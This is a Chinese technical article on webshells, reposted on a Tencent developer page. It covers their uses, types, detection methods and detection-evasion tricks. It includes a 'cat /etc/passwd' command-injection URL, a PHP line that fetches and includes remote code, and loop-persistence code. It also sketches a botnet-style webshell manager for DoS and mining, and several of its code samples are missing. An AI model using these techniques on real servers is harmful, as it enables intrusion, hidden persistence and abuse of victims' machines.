首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

那些年黑客用过的WebShell之技术总结

这是一遍针对WebShell的总结性文档,如果您已经熟知这方面的知识,请直接跳入本文档底部找你需要的干货。本篇内容是对附件中PPT的阐述和补充。

百度:WebShell就是以ASP、PHP、JSP或CGI等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。

什么时候需要WebShell?

差不多我人生第一次真正意义上拿下一个网站,依靠的是雷傲BBS的一个上传漏洞。在一个CGI后门cmd.cgi的帮助下,我最终拿到了系统管理员权限。

通常,遇到如下场景你会非常需要一个WebShell:

你发现并利用了一个网站的漏洞

得到了Web权限但没有系统权限

希望下一次能够 优雅 地连接系统

主要功能

在不同的使用场景和运行环境下,WebShell的功能不尽相通。典型的WebShell功能主要包括以下类别:

环境探针

资源管理

文件编辑

执行OS命令

读取注册表

创建Socket

调用系统组件

以执行命令为例,WebShell可以调用脚本文件的内部函数执行操作系统shell命令。只要权限足够,你可以无限发挥这一功能。

扩展功能

事实上经过业界多年的应用和扩展,WebShell的功能也越来越强大。在一些特定的场景下,WebShell往往能够发挥超强的杀伤力。

权限提升

一般情况下WebShell的权限等同于Web Server的权限,如需更高级的系统权限需要提升shell的执行权限。某些功能强的的WebShell可协助攻击者从IIS/Apache/Nginx等Web Server的权限提升到操作系统Administrator/Root权限。

DDoS

利用Web服务器的计算能力、带宽资源发起DDoS攻击,可以替代传统僵尸网络中需要植入木马的客户端。

网页挂马

篡改网页代码内容,植入恶意JS代码,从而实现刷流量,盗Cookie;更有甚者针对访问者植入针对浏览器或控件的0Day攻击代码。

“黑帽”SEO

只能说这是一个很大的产业链,通过页面劫持可以实现针对爬虫和真实用户返回不同的内容。你在搜索引擎中看到很多gov网站的标题不堪入目,通常是这个网站已经沦陷的充分证明。想看效果,自行百度“inurl:gov.cn 六合彩”。

代理服务器

网站被拿下用作代理服务器是常有的事。众所周知通常网站都不输在IDC机房,计算能力和带宽资源非常丰厚,用作代理服务器是相当不错的选择。特别是你要访问某些海外资源时,能有个IDC的服务器帮你做个摆渡,速度会快不少。

端口扫描

利用Web服务器作为扫描器虽然效率低且未必能充分满足要求,但在一定程度上能够非常有效地隐蔽攻击者的身份。

内网探测

Web服务器往往能够和内网中其它服务器直接进行通讯,例如数据库服务器、LDAP服务器等。充分利用WebShell的这一优势,可助内网渗透攻击一臂之力。内网服务器之间安全策略较为宽松,请求响应延迟低,WebShell是刺探内网情报的最佳工具之一。

发挥你的想象

WebShell强大的功能,完全取决于你的想象力!

基于功能强弱的分类

全功能型:什么都能做

WebShell界的十项全能。当然,功能强大的基础是代码量大。其字符串特征明显,容易被安全工具查杀。

资源管理:文件和目录管理

通常这类WebShell被称为站长管理工具,方便站长在线编辑网站文件。当然也可以用于恶意操作:)

命令执行:执行系统命令

顾名思义,该WebShell只负责执行系统命令。如果系统命令用得熟,也是什么都能干的!举个例子:

http://www.example.com/cmd.php?cmd=cat /etc/passwd

上传型:负责上传“大马”

在某些特殊场景下,攻击者无法上传一个长度超过几百K的全能型WebShell,此时可以选择先上传一个简单的“中继器”。该中继WebShell只负责一个功能,提供在服务器创建新的文件的能力。

一句话型:短小精悍

顾名思义该WebShell的代码只有一行。因为其短小精悍,已然成为居家旅行,杀人灭口,渗透测试的必备工具。一句话WebShell通常用于执行客户端传递过来的脚本代码,而不是某个功能或模块的参数。这给WebShell功能扩展提供了巨大的想象空间。典型的一句话WebShell代码如下:

WebShell检测思路

WebShell检测是攻防对抗中的一个重要环节,是安全防护人员必修之课。如何快速检测Web Server是否已经被WebShell控制,对网站安全来说至关重要。以下是典型的WebShell检测思路:

关键字检查

关键字匹配是最常见的检测方法, 例如一句话WebShell中的eval函数名就是非常危险的关键字。 主要依赖检测者WebShell特征库的大小和强弱。同时特征匹配本身也存在误报和漏报的问题。

文件状态对比

Web Server上增加或修改了一个文件一定可以通过技术手段发现。目前已有类似的安全产品,定期扫描服务器上文件的变化,甚至比对每一个文件当前和历史的MD5数值,快速定位可疑文件。

运行特征检测

部署在服务器上的WebShell最终是要被访问的。识别WebShell可以从一些反常的请求行为上做判断,例如:非工作时间无明显业务参数的连续脚本文件请求。

审核代码逻辑

通过人工或软件的方式对代码运行逻辑进行检查,通常被称为白盒检测。严格审核代码的逻辑是可以精确发现WebShell,但现状是:人工方式效率非常低下,工具检测误报严重。

WebShell检测规避

当然,为了规避各种检测手段,业界也由很多典型的检测规避措施。以下措施能够在一定程度上降低WebShell被检测出来的机率。

主流方法

字符混淆 OR 变量生成关键字

为了规避关键检测,可以通过一些变量组合的方式生成函数关键字。

文件包含

将WebShell文件拆分成2个以上文件,通过include方式载入主体文件是常用的规避检测方式。最典型的是将WebShell功能代码写到JPG文件,然后再包含到脚本文件。

奇思妙想

看不见的文件名:全角中文空格作为文件名,真正的代码在这个看不见文件名的文件中,例如:

隐藏目录:虚拟目录、NTFS数据流

如果攻击者可以操作Web Server配置文件,可以将WebShell文件放在非网站目录下,从而绕过文件检查。也可以利用Windows NTFS数据流特征创建神奇的WebShell文件,例如:

其中./test.php:.txt这个文件无法在资源管理器看到,命令行下的大小为0。

利用HTTP:数据通过HTTP HEAD或Cookie传递

绝大多数WebShell的数据交互式是在HTTP协议的Body区段完成的,如果将指令放在HTTP HEAD中,可以绕过各种拦截工具的检查 。

借助数据库:将shell关键代码存放在数据库中

代码存放在数据库中,WebShell将更加隐蔽。这给查杀也带来了巨大的挑战。

WebShell高级攻防技巧

三种姿势检测WebShell

下图是典型WebShell请求和响应时序图,是WebShell行为特征的抽象代表:

稍作总结即可发现,至少有3个环节可以用于WebShell监测:

WebShell文件特征

WebShell请求的HTTP特征

WebShell响应的HTTP特征

这里推荐Mod Security这款开源WAF(Web Application Firewall),它能够在Web Server上有效拦截Web各类攻击以及拦截WebShell的请求响应。

打破规则:请求响应分离

仔细体会WebShell监测3大环节,你一定会有所收获。事实上,请求响应环节完全可以规避,从而躲过各类WAF的查杀。其核心的思想是:

减少字符特征

远程加载指令

请求响应分离

无HTTP请求特征

无HTTP响应特征

具体实现思路的时序图如下:

第1环节无任何特征

第2和4环节由Web Server对外发起,不经过WAF

第3环节仅执行代码,无落地文件

hacker1.com和hacker2.com可以是一台服务器

还能再精彩点吗?

基于以上思路,我结合了脚本文件的一些特征,开发了一套支持任务发布的批量WebShell管理工具。

加载远程指令

如果PHP环境变量allow_url_include = off,可以使用下面的代码替代:

@file_put_contents('_',@file_get_contents('http://127.0.0.1/x.png'));@include('-');@delete('_');

logo.png的返回内容完全由example.com控制。

利用死循环

首先该WebShell只需一次请求即可,以后的指令是WebShell自己从远程服务器周期性加载的,这完全规避了访问行为检测。 以PHP为例,程序启动后可以不再响应浏览器的关闭动作,同时进入死循环工作状态。首次加载远程代码时可以带上下面的代码:

ignore_user_abort(true); set_time_limit(0);

只要Apache/Nginx不重启,这个WebShell会一直处于运行状态并定时请求远程指令。

任务分发

如果只是通过一般的webshell客户端管理工具来维护WebShell,那么绝大多数情况下WebShell都是静躺在磁盘中的,价值完全没有被充分发挥。本Shell管理系统则完全不同,充分发掘了WebShell的价值。随着被管理的WebShell逐渐增多,还可以开发一套独立的管理界面进行管理。

由于每个WebShell有自身的运行ID,因此可以针对不同的WebShell发布不同的指令执行不同的任务:

执行一段神奇的代码

集中DoS某个目标网站

运行一个刷票插件

开挖比特币

展开你的想象

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180421A03D2M00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券